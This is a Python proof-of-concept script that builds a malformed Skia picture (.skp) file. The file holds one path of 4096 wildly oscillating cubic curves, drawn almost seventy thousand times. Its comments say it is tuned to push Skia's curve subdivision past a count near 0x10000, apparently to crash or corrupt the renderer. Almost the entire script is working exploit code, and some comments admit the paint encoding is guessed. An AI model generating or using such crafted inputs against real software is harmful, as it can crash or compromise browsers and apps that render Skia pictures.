import struct
import sys

kSkBlenderInSkPaint = 87
kPictureData_TrailingStreamByteAfterPictInfo = 1
DRAW_PATH = 14

def p32(x):
    return struct.pack("<I", x)

def f32(x):
    return struct.pack("<f", x)

def p8(x):
    return bytes([x])

def tag(s):
    return s.encode()[::-1]

# SKP Header: We'll use a 500x500 as per unit test or 300x300 as in template doesn't matter much
info = b'skiapict'
info += p32(kSkBlenderInSkPaint)  # SkPictInfo.fVersion
info += f32(-300)    # SkRect.fLeft
info += f32(-300)    # SkRect.fTop
info += f32(2500)  # SkRect.fRight
info += f32(2500)  # SkRect.fBottom
info += p8(kPictureData_TrailingStreamByteAfterPictInfo)

name = b'poc'
factory = tag('fact')
factory += p32(1)  # size
factory += p32(1)  # one factory
factory += p8(len(name))
factory += name

# Paint settings:
# AA: true, strokeWidth = 0, strokeMiter = 1.5, stroke style, color = opaque white
paint_buffer = tag('pnt ')
paint_buffer += p32(1)      # size
paint_buffer += f32(0.0)    # SkPaint.fWidth = 0 (hairline)
paint_buffer += f32(1.5)    # SkPaint.fMiterLimit = 1.5
paint_buffer += f32(1.0)    # R
paint_buffer += f32(1.0)    # G
paint_buffer += f32(1.0)    # B
paint_buffer += f32(1.0)    # A fully opaque
# paint_buffer += p32(0)      # flatFlags
paint_buffer += p32(
  1 |
  (1 << 20)
) #paint.setAntiAlias(true);, paint.setStyle(SkPaint::kStroke_Style);
# flatFlags: we need AA and stroke style:
# Normally style and AA are encoded differently, but since this template doesn't show full paint serialization,
# we trust minimal form. Let's assume no advanced flags needed. 
# In practice, additional steps to encode stroke style would be needed.
# For this simplified code, we assume SkPaint::kStroke_Style and AA are implied by these parameters.

path_buffer = tag('pth ')
path_count = 1
path_data = p32(path_count)


def create_extreme_complex_path():
    SerializationType_kGeneral = 0
    kCW = 1
    version = 5
    kFillType_Winding = 0

    packed_header = (
        (SerializationType_kGeneral << 28) |
        (kCW << 26) |
        (kFillType_Winding << 8) |
        (version)
    )

    data = struct.pack("<I", packed_header)

    def f32(x):
        return struct.pack("<f", x)

    # We will draw a huge number of cubics. Let's try 4096 cubics.
    # If each cubic ends up with subdiv=4 (16 quads per cubic) that would yield:
    # 4096 * 16 = 65536 quads (0x10000).
    # This is a guess. If it's not enough, we can increase even more.

    # We'll keep all points within a 2500x2500 range.
    # Start at (1250,1250)
    # Oscillate widely for each cubic.
    # We'll try extreme control points that alternate sign to increase curvature.

    start_x, start_y = 1250.0, 1250.0
    points = [(start_x, start_y)]
    verbs = [0x0]  # moveTo

    num_cubics = 4096
    for i in range(num_cubics):
        # Alternate direction and create large amplitude curves.
        sign = 1 if (i % 2 == 0) else -1

        # Control points: swing them across a large range.
        # Increase the amplitude with i to ensure even more complexity.
        ctrl_amp = 1000 + (i % 100) * 10  # vary slightly with i for more irregularity
        # Control points should remain within [50,2450]. We'll clamp them after calculation.
        def clamp(v): return max(min(v, 2450), 50)

        control_x1 = clamp(start_x + sign * ctrl_amp)
        control_y1 = clamp(start_y + (i % 10) * 200 * sign + 100)
        control_x2 = clamp(start_x - sign * (ctrl_amp * 1.1))
        control_y2 = clamp(start_y + (i % 20) * 100 * (-sign) + 300)
        end_x = clamp(start_x + (i % 40) * 5 * sign + 200)
        end_y = clamp(start_y + (i % 50) * 4 * (-sign) + 500)

        points.append((control_x1, control_y1))
        points.append((control_x2, control_y2))
        points.append((end_x, end_y))
        verbs.append(0x4)  # cubicTo

    # Close the path
    verbs.append(0x5)

    pts = 1 + num_cubics * 3
    cnx = 0
    vbs = 1 + num_cubics + 1
    data += struct.pack("<iii", pts, cnx, vbs)

    for (x, y) in points:
        data += f32(x) + f32(y)

    for v in verbs:
        data += struct.pack("<B", v)

    padding = (4 - (len(data) % 4)) % 4
    data += b'\0' * padding

    return data


# Example usage:
# This function returns the binary data for the path. You would integrate it into
# your SKP writing code just like the previous examples.


path_data += create_extreme_complex_path()
path_buffer += p32(len(path_data))
path_buffer += path_data

buffer_size = tag('aray')
buffer_size += p32(len(paint_buffer) + len(path_buffer))

reader = tag('read')
op = DRAW_PATH
op_size = 8
reader_op = p32((op << 24) + op_size)
reader_op += p32(1)  # path ID
reader_op += p32(1)  # paint ID

repeat_op = 69629#1501502
reader_ops = reader_op * repeat_op
print (f"length of the op is {len(reader_op)}")
reader += p32(len(reader_ops))
reader += reader_ops

eof = tag('eof ')

with open(sys.argv[1], 'wb') as f:
    f.write(info)
    f.write(factory)
    f.write(buffer_size)
    f.write(paint_buffer)
    f.write(path_buffer)
    f.write(reader)
    f.write(eof)
